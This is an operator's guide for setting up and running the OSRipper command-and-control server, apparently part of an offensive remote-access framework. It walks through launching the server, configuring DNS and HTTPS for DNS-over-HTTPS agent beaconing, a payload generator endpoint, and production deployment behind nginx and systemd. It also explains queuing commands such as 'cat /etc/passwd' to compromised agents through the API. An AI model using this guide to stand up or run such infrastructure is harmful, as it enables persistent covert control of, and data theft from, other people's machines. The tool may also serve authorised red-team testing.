C2 Server Guide

C2 Server Guide

Complete guide to setting up and managing the OSRipper C2 server for command & control operations.

Overview

The OSRipper C2 server provides:

• DoH Handler - Processes DNS-over-HTTPS queries
• HTTPS Beacon - Handles HTTPS-based agent communication
• Web UI - Browser-based interface for session management
• Session Management - Database-backed session tracking
• Command Queueing - Queue commands for offline agents

Quick Start

Basic Server

# Start C2 server
python -m osripper.c2.server example.com

# Server starts on http://0.0.0.0:5000
# Web UI: http://localhost:5000
# DoH endpoint: http://localhost:5000/dns-query

With HTTPS

# Start with HTTPS (auto-generates certificate)
python -m osripper.c2.server example.com --https

# Server starts on https://0.0.0.0:5000
# Web UI: https://localhost:5000

Command-Line Options

Basic Options

python -m osripper.c2.server <domain> [options]

Required:

• domain - C2 domain name (e.g., example.com)

Optional:

• --host - Server host (default: 0.0.0.0)
• --port - Server port (default: 5000)
• --db - Database path (default: c2_sessions.db)
• --https - Enable HTTPS with self-signed certificate
• --cert - Path to certificate file (for HTTPS)
• --key - Path to private key file (for HTTPS)
• --debug - Enable Flask debug mode

Examples

# Basic server
python -m osripper.c2.server example.com

# Custom port
python -m osripper.c2.server example.com --port 8080

# Custom host
python -m osripper.c2.server example.com --host 127.0.0.1

# HTTPS with auto-generated certificate
python -m osripper.c2.server example.com --https

# HTTPS with custom certificate
python -m osripper.c2.server example.com \
  --https \
  --cert server.crt \
  --key server.key

# Custom database location
python -m osripper.c2.server example.com --db /path/to/sessions.db

# Debug mode
python -m osripper.c2.server example.com --debug

HTTPS Setup

Auto-Generated Certificate

The server can automatically generate a self-signed certificate:

python -m osripper.c2.server example.com --https

Certificate Files:

• c2_server.crt - Certificate file
• c2_server.key - Private key file

Get Fingerprint:

curl http://localhost:5000/api/cert-fingerprint

Custom Certificate

Generate Certificate:

# Generate self-signed certificate
openssl req -x509 -newkey rsa:4096 \
  -keyout server.key \
  -out server.crt \
  -days 365 \
  -nodes \
  -subj "/CN=example.com"

# Start server with custom certificate
python -m osripper.c2.server example.com \
  --https \
  --cert server.crt \
  --key server.key

Let's Encrypt Certificate:

# Install certbot
sudo apt install certbot

# Obtain certificate
sudo certbot certonly --standalone -d example.com

# Use Let's Encrypt certificates
python -m osripper.c2.server example.com \
  --https \
  --cert /etc/letsencrypt/live/example.com/fullchain.pem \
  --key /etc/letsencrypt/live/example.com/privkey.pem

Domain Configuration

DNS Setup

For DoH C2 to work, configure DNS records:

A Record:

example.com A YOUR_SERVER_IP

Subdomain (Optional):

c2.example.com A YOUR_SERVER_IP

Port Forwarding

If behind NAT/firewall:

• Forward port 5000 (or custom port) to server
• Ensure firewall allows incoming connections

Testing DNS

# Test DNS resolution
nslookup example.com

# Test DoH endpoint
curl "https://example.com/dns-query?name=test.example.com&type=TXT"

Server Architecture

Components

1. Flask Application - Web server and API
2. DoH Handler - Processes DNS-over-HTTPS queries
3. Session Manager - Database-backed session tracking
4. Command Queue - Stores commands for agents
5. Web UI - Browser-based interface

Endpoints

DoH:

• GET /dns-query - DNS-over-HTTPS query endpoint

HTTPS Beacon:

• POST /api/beacon - Agent beacon endpoint
• POST /api/response - Agent response endpoint

Web UI:

• GET / - Dashboard
• GET /session/<id> - Session details
• GET /generate - Payload generator

API:

• GET /api/sessions - List all sessions
• GET /api/session/<id> - Get session details
• DELETE /api/session/<id> - Delete session
• POST /api/session/<id>/command - Send command
• GET /api/session/<id>/history - Get command history

Session Management

Database Schema

Sessions are stored in SQLite database (c2_sessions.db by default).

Tables:

• sessions - Active sessions
• command_history - Command execution history

Session Lifecycle

1. Creation - Agent first connects, session created
2. Active - Agent regularly checks in
3. Command Queue - Commands queued for agent
4. Response - Agent sends command response
5. Deletion - Session deleted (manual or automatic)

Managing Sessions

Via Web UI:

• View all sessions on dashboard
• Click session to view details
• Execute commands via terminal
• Delete session via button

Via API:

# List sessions
curl http://localhost:5000/api/sessions

# Get session details
curl http://localhost:5000/api/session/SESSION_ID

# Delete session
curl -X DELETE http://localhost:5000/api/session/SESSION_ID

# Send command
curl -X POST http://localhost:5000/api/session/SESSION_ID/command \
  -H "Content-Type: application/json" \
  -d '{"command": "whoami"}'

Command Queueing

How It Works

1. Command Sent - Command queued in database
2. Agent Beacons - Agent periodically checks for commands
3. Command Retrieved - Agent receives queued command
4. Execution - Agent executes command
5. Response - Agent sends response back
6. History Updated - Response saved to history

Command Format

Commands are plain text strings:

whoami
ls -la
cat /etc/passwd
python3 -c "print('test')"

Special Commands

• __TERMINATE__ - Terminates agent and deletes session
• exit - Stops agent execution
• ping - Heartbeat check (returns pong)

Production Deployment

Systemd Service

Create /etc/systemd/system/osripper-c2.service:

[Unit]
Description=OSRipper C2 Server
After=network.target

[Service]
Type=simple
User=osripper
WorkingDirectory=/opt/osripper
ExecStart=/usr/bin/python3 -m osripper.c2.server example.com --https
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Enable and Start:

sudo systemctl enable osripper-c2
sudo systemctl start osripper-c2
sudo systemctl status osripper-c2

Reverse Proxy (Nginx)

Nginx Configuration:

server {
    listen 80;
    server_name example.com;
    
    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Firewall Rules

# Allow HTTP
sudo ufw allow 80/tcp

# Allow HTTPS
sudo ufw allow 443/tcp

# Allow C2 port (if exposed directly)
sudo ufw allow 5000/tcp

Monitoring and Logging

Server Logs

Server logs to stdout/stderr:

# View logs
python -m osripper.c2.server example.com 2>&1 | tee server.log

# With systemd
sudo journalctl -u osripper-c2 -f

Database Monitoring

# View sessions
sqlite3 c2_sessions.db "SELECT * FROM sessions;"

# View command history
sqlite3 c2_sessions.db "SELECT * FROM command_history ORDER BY timestamp DESC LIMIT 10;"

# Count active sessions
sqlite3 c2_sessions.db "SELECT COUNT(*) FROM sessions;"

Troubleshooting

Server Won't Start

• Check if port is in use: netstat -tulpn | grep 5000
• Verify Python version: python3 --version
• Check dependencies: pip3 list | grep flask
• Review error messages in console

Agents Not Connecting

• Verify DNS resolution: nslookup example.com
• Check firewall rules
• Verify server is accessible
• Review agent logs
• Check DoH endpoint: curl "https://example.com/dns-query?name=test&type=TXT"

Commands Not Executing

• Verify session is active (check last_seen)
• Check command queue in database
• Review agent polling interval
• Verify command format

HTTPS Issues

• Verify certificate files exist
• Check certificate permissions
• Test certificate: openssl x509 -in server.crt -text -noout
• Verify fingerprint matches payload

Security Considerations

Best Practices

1. Use HTTPS - Always use HTTPS in production
2. Certificate Pinning - Use certificate pinning in payloads
3. Access Control - Restrict server access via firewall
4. Regular Updates - Keep dependencies updated
5. Database Backups - Regularly backup session database
6. Logging - Monitor server logs for suspicious activity

Hardening

• Run server as non-root user
• Use reverse proxy (Nginx/Apache)
• Enable firewall rules
• Use strong certificates
• Implement rate limiting (future feature)
• Add authentication (future feature)

---

For more information, see the Web UI Guide and Troubleshooting pages.